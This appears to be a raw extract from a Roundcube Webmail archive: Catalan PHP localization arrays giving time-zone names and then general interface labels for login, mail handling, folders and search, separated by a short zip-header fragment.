$labels['tz:america:araguaina'] = 'Araguaïna';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahía de Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belém';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogotà';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Caiena';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiabá';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepé';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Nuuk';
$labels['tz:america:goose_bay'] = 'Happy Valley-Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadalupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'L\'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceió';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinica';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlán';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Mérida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Ciutat de Mèxic';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Illa de Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'Nova York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Dakota del Nord';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panamà';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port-of-Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarém';
$labels['tz:america:santiago'] = 'Santiago de Xile';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'São Paulo';
$labels['tz:america:scoresbysund'] = 'Ittoqqortoormiit';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint-Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tórtola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antàrtida';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'Estació McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Estació Vostok';
$labels['tz:arctic'] = 'Àrtic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Àsia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almati';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anàdir';
$labels['tz:asia:aqtau'] = 'Akhtau';
$labels['tz:asia:aqtobe'] = 'Aktobé';
$labels['tz:asia:ashgabat'] = 'Aixkhabad';
$labels['tz:asia:atyrau'] = 'Atirau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Bakú';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaül';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bixkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damasc';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Duixanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Khovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamtxatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Katmandú';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Calcuta';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoiarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Masqat';
$labels['tz:asia:nicosia'] = 'Nicòsia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novossibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Khizilordà';
$labels['tz:asia:riyadh'] = 'Al-Riyad';
$labels['tz:asia:sakhalin'] = 'Sakhalín';
$labels['tz:asia:samarkand'] = 'Samarcanda';
$labels['tz:asia:seoul'] = 'Seül';
$labels['tz:asia:shanghai'] = 'Xangai';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolimsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Taixkent';
$labels['tz:asia:tbilisi'] = 'Tbilissi';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tòquio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulan Bator';
$labels['tz:asia:urumqi'] = 'Ürümqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Iakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Iekaterinburg';
$labels['tz:asia:yerevan'] = 'Erevan';
$labels['tz:atlantic'] = 'Atlàntic';
$labels['tz:atlantic:azores'] = 'Açores';
$labels['tz:atlantic:bermuda'] = 'Bermudes';
$labels['tz:atlantic:canary'] = 'Illes Canàries';
$labels['tz:atlantic:cape_verde'] = 'Cap Verd';
$labels['tz:atlantic:faroe'] = 'Illes Fèroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavík';
$labels['tz:atlantic:south_georgia'] = 'Illa de Geòrgia del Sud';
$labels['tz:atlantic:st_helena'] = 'Santa Helena';
$labels['tz:atlantic:stanley'] = 'Port Stanley';
$labels['tz:australia'] = 'Austràlia';
$labels['tz:australia:adelaide'] = 'Adelaida';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Illa de Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Àstrakhan';
$labels['tz:europe:athens'] = 'Atenes';
$labels['tz:europe:belgrade'] = 'Belgrad';
$labels['tz:europe:berlin'] = 'Berlín';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussel·les';
$labels['tz:europe:bucharest'] = 'Bucarest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Büsingen am Hochrhein';
$labels['tz:europe:chisinau'] = 'Chișinău';
$labels['tz:europe:copenhagen'] = 'Copenhagen';
$labels['tz:europe:dublin'] = 'Dublín';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Hèlsinki';
$labels['tz:europe:isle_of_man'] = 'Illa de Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kíev';
$labels['tz:europe:kirov'] = 'Kírov';
$labels['tz:europe:lisbon'] = 'Lisboa';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'Londres';
$labels['tz:europe:luxembourg'] = 'Luxemburg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Mònaco';
$labels['tz:europe:moscow'] = 'Moscow';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'París';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praga';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Roma';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saràtov';
$labels['tz:europe:simferopol'] = 'Simferòpol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Estocolm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Uliànovsk';
$labels['tz:europe:uzhgorod'] = 'Újhorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Ciutat del Vaticà';
$labels['tz:europe:vienna'] = 'Viena';
$labels['tz:europe:vilnius'] = 'Vílnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Varsòvia';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporíjia';
$labels['tz:europe:zurich'] = 'Zuric';
$labels['tz:indian'] = 'Índic';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Txagos';
$labels['tz:indian:christmas'] = 'Illa Christmas';
$labels['tz:indian:cocos'] = 'Illes Cocos';
$labels['tz:indian:comoro'] = 'Comores';
$labels['tz:indian:kerguelen'] = 'Illes Kerguelen';
$labels['tz:indian:mahe'] = 'Mahé';
$labels['tz:indian:maldives'] = 'Maldives';
$labels['tz:indian:mauritius'] = 'Maurici';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Illa de la Reunió';
$labels['tz:pacific'] = 'Pacífic';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Illes Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Illa de Pasqua';
$labels['tz:pacific:efate'] = 'Éfaté';
$labels['tz:pacific:enderbury'] = 'Illa Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Illes Galápagos';
$labels['tz:pacific:gambier'] = 'Illes Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Atol Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Illes Marqueses';
$labels['tz:pacific:midway'] = 'Atol Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Nouméa';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'República de Palau';
$labels['tz:pacific:pitcairn'] = 'Illes Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahití';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Illes Wake';
$labels['tz:pacific:wallis'] = 'Illa Wallis';
PK
h�\	��_$�$�%program/localization/ca_ES/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Benvingut a $product';
$labels['username'] = 'Nom d\'usuari';
$labels['password'] = 'Contrasenya';
$labels['server'] = 'Servidor';
$labels['login'] = 'Inicia la sessió';
$labels['oauthlogin'] = 'Inicia la sessió amb $provider';
$labels['menu'] = 'Menú';
$labels['logout'] = 'Tanca sessió';
$labels['mail'] = 'Correu';
$labels['settings'] = 'Configuració';
$labels['addressbook'] = 'Contactes';
$labels['darkmode'] = 'Mode fosc';
$labels['lightmode'] = 'Mode clar';
$labels['inbox'] = 'Safata d\'entrada';
$labels['drafts'] = 'Esborranys';
$labels['sent'] = 'Enviats';
$labels['trash'] = 'Paperera';
$labels['junk'] = 'Correu brossa';
$labels['show_real_foldernames'] = 'Mostra els noms reals a les carpetes especials';
$labels['subject'] = 'Assumpte';
$labels['from'] = 'Remitent';
$labels['sender'] = 'Remitent';
$labels['to'] = 'Destinatari';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Respon a';
$labels['followupto'] = 'Seguiment-A';
$labels['date'] = 'Data';
$labels['size'] = 'Mida';
$labels['priority'] = 'Prioritat';
$labels['organization'] = 'Organització';
$labels['readstatus'] = 'Estat de lectura';
$labels['listoptions'] = 'Llista d\'opcions...';
$labels['listoptionstitle'] = 'Opcions de llista';
$labels['mailboxlist'] = 'Carpetes';
$labels['messagesfromto'] = 'Missatges $from a $to de $count';
$labels['threadsfromto'] = 'Fils $from a $to de $count';
$labels['messagenrof'] = 'Missatge $nr de $count';
$labels['fromtoshort'] = '$from - $to de $count';
$labels['copy'] = 'Copia';
$labels['move'] = 'Mou';
$labels['moveto'] = 'Mou a...';
$labels['copyto'] = 'Copia a...';
$labels['download'] = 'Descarrega';
$labels['open'] = 'Obre';
$labels['showattachment'] = 'Mostra';
$labels['showanyway'] = 'Mostra-ho de totes maneres';
$labels['filename'] = 'Nom del fitxer';
$labels['filesize'] = 'Mida del fitxer';
$labels['addtoaddressbook'] = 'Afegeix a contactes';
$labels['sun'] = 'dg';
$labels['mon'] = 'dl';
$labels['tue'] = 'dm';
$labels['wed'] = 'dc';
$labels['thu'] = 'dj';
$labels['fri'] = 'dv';
$labels['sat'] = 'ds';
$labels['sunday'] = 'Diumenge';
$labels['monday'] = 'Dilluns';
$labels['tuesday'] = 'Dimarts';
$labels['wednesday'] = 'Dimecres';
$labels['thursday'] = 'Dijous';
$labels['friday'] = 'Divendres';
$labels['saturday'] = 'Dissabte';
$labels['jan'] = 'gen';
$labels['feb'] = 'feb';
$labels['mar'] = 'mar';
$labels['apr'] = 'abr';
$labels['may'] = 'mai';
$labels['jun'] = 'jun';
$labels['jul'] = 'jul';
$labels['aug'] = 'ago';
$labels['sep'] = 'set';
$labels['oct'] = 'oct';
$labels['nov'] = 'nov';
$labels['dec'] = 'des';
$labels['longjan'] = 'gener';
$labels['longfeb'] = 'febrer';
$labels['longmar'] = 'març';
$labels['longapr'] = 'abril';
$labels['longmay'] = 'maig';
$labels['longjun'] = 'juny';
$labels['longjul'] = 'juliol';
$labels['longaug'] = 'agost';
$labels['longsep'] = 'setembre';
$labels['longoct'] = 'octubre';
$labels['longnov'] = 'novembre';
$labels['longdec'] = 'desembre';
$labels['today'] = 'Avui';
$labels['refresh'] = 'Actualitza';
$labels['checkmail'] = 'Comprova si hi ha missatges nous';
$labels['compose'] = 'Escriu un missatge';
$labels['writenewmessage'] = 'Crea un nou missatge';
$labels['reply'] = 'Respon';
$labels['replytomessage'] = 'Respon al remitent';
$labels['replytoallmessage'] = 'Respon a la llista o al remitent i a tots els destinataris';
$labels['replyall'] = 'Respon a tots';
$labels['replylist'] = 'Respon a la llista';
$labels['forward'] = 'Reenvia';
$labels['forwardinline'] = 'Reenvia com en línia';
$labels['forwardattachment'] = 'Reenvia com a adjunt';
$labels['forwardmessage'] = 'Reenvia el missatge';
$labels['bouncemsg'] = 'Torna a enviar (rebot)';
$labels['bounce'] = 'Torna a enviar';
$labels['deletemessage'] = 'Suprimeix el missatge';
$labels['movemessagetotrash'] = 'Mou el missatge a la paperera';
$labels['printmessage'] = 'Imprimeix aquest missatge';
$labels['previousmessage'] = 'Mostra el missatge anterior';
$labels['firstmessage'] = 'Mostra el primer missatge';
$labels['nextmessage'] = 'Mostra el missatge següent';
$labels['lastmessage'] = 'Mostra el darrer missatge';
$labels['backtolist'] = 'Torna a la llista de missatges';
$labels['viewsource'] = 'Mostra el codi font';
$labels['mark'] = 'Marca';
$labels['markmessages'] = 'Marca missatges';
$labels['markread'] = 'Com a llegit';
$labels['markunread'] = 'Com a no llegit';
$labels['markflagged'] = 'Com a marcat';
$labels['markunflagged'] = 'Com a no marcat';
$labels['markundeleted'] = 'Com a no suprimit(s)';
$labels['moreactions'] = 'Més accions...';
$labels['markallread'] = 'Marca-ho tot com a llegit';
$labels['folders-cur'] = 'Només la carpeta seleccionada';
$labels['folders-sub'] = 'Selecciona la carpeta i les seves subcarpetes';
$labels['folders-all'] = 'Totes les carpetes';
$labels['more'] = 'Més';
$labels['back'] = 'Torna';
$labels['options'] = 'Opcions';
$labels['composeoptions'] = 'Opcions de redacció';
$labels['optionsandattachments'] = 'Opcions i fitxers adjunts';
$labels['actions'] = 'Accions';
$labels['first'] = 'Primer';
$labels['last'] = 'Darrer';
$labels['previous'] = 'Anterior';
$labels['next'] = 'Següent';
$labels['select'] = 'Selecciona';
$labels['selection'] = 'Selecció';
$labels['all'] = 'Tots';
$labels['none'] = 'Cap';
$labels['currpage'] = 'Pàgina actual';
$labels['isread'] = 'Llegeix';
$labels['unread'] = 'No llegit';
$labels['flagged'] = 'Marcat';
$labels['unflagged'] = 'No marcat';
$labels['unanswered'] = 'No respost';
$labels['withattachment'] = 'Amb fitxer adjunt';
$labels['deleted'] = 'Suprimit';
$labels['undeleted'] = 'No s\'ha suprimit';
$labels['replied'] = 'Respost';
$labels['forwarded'] = 'Reenviat';
$labels['invert'] = 'Inverteix';
$labels['filter'] = 'Filtre';
$labels['list'] = 'Llista';
$labels['threads'] = 'Fils de discussió';
$labels['expand-all'] = 'Expandeix-ho tot';
$labels['expand-unread'] = 'Expandeix no llegits';
$labels['collapse-all'] = 'Redueix-ho tot';
$labels['threaded'] = 'Encadenat';
$labels['showunread'] = 'Mostra els missatges no llegits';
$labels['autoexpand_threads'] = 'Expandeix els missatges encadenats';
$labels['do_expand'] = 'tots els fils de discussió';
$labels['expand_only_unread'] = 'només amb missatges no llegits';
$labels['fromto'] = 'Remitent/Destinatari';
$labels['flag'] = 'Marca';
$labels['attachment'] = 'Adjunt';
$labels['nonesort'] = 'Cap';
$labels['sentdate'] = 'Data d\'enviament';
$labels['arrival'] = 'Data d\'arribada';
$labels['asc'] = 'ascendent';
$labels['desc'] = 'descendent';
$labels['listcolumns'] = 'Llista les columnes';
$labels['listsorting'] = 'Columna d\'ordenació';
$labels['listorder'] = 'Ordre d\'ordenació';
$labels['listmode'] = 'Mode de vista de llista';
$labels['lmode'] = 'Mode de llista';
$labels['layout'] = 'Disposició';
$labels['layoutwidescreen'] = 'Pantalla panoràmica';
$labels['layoutdesktop'] = 'Escriptori';
$labels['layoutlist'] = 'Llista';
$labels['layoutwidescreendesc'] = 'Pantalla panoràmica (vista de 3 columnes)';
$labels['layoutdesktopdesc'] = 'Escriptori (llista de bat a bat amb la previsualització del missatge a sota)';
$labels['layoutlistdesc'] = 'Llista (sense previsualització del missatge)';
$labels['folderactions'] = 'Accions de carpeta...';
$labels['compact'] = 'Compacta';
$labels['empty'] = 'Buida';
$labels['importmessages'] = 'Importa missatges';
$labels['mailimportdesc'] = 'Podeu carregar correu mitjançant fitxers en format <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> o <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Es poden comprimir diversos fitxers en arxius zip.';
$labels['quota'] = 'Ús del disc';
$labels['unknown'] = 'desconegut';
$labels['unlimited'] = 'il·limitat';
$labels['quotatype'] = 'Tipus de quota';
$labels['quotatotal'] = 'Límit';
$labels['quotaused'] = 'Utilitzat';
$labels['quotastorage'] = 'Espai de disc';
$labels['quotamessage'] = 'Comptador de missatges';
$labels['shortheaderdate'] = 'El $date';
$labels['shortheaderto'] = 'A $to el $date';
$labels['shortheaderfrom'] = 'De $from el $date';
$labels['quicksearch'] = 'Cerca ràpida';
$labels['searchplaceholder'] = 'Cerca...';
$labels['resetsearch'] = 'Neteja cerca';
$labels['searchmod'] = 'Cerca modificadors';
$labels['msgtext'] = 'Missatge sencer';
$labels['body'] = 'Cos';
$labels['type'] = 'Tipus';
$labels['namex'] = 'Nom';
$labels['searchscope'] = 'Abast';
$labels['currentfolder'] = 'Carpeta actual';
$labels['subfolders'] = 'Aquesta i les seves subcarpetes';
$labels['allfolders'] = 'Totes les carpetes';
$labels['searchinterval-1W'] = 'Més antic d\'una setmana';
$labels['searchinterval-1M'] = 'Més antic d\'un mes';
$labels['searchinterval-1Y'] = 'Més antic d\'un any';
$labels['searchinterval1W'] = 'Menor d\'una setmana';
$labels['searchinterval1M'] = 'Menor d\'un mes';
$labels['searchinterval1Y'] = 'Menor d\'un any';
$labels['openinextwin'] = 'Obre a una nova finestra';
$labels['emlsave'] = 'Descarrega (.eml)';
$labels['changeformattext'] = 'Mostra en format de text net';
$labels['changeformathtml'] = 'Mostra en format HTML';
$labels['editasnew'] = 'Edita com a nou';
$labels['send'] = 'Envia';
$labels['sendmessage'] = 'Envia el missatge';
$labels['savemessage'] = 'Desa com a esborrany';
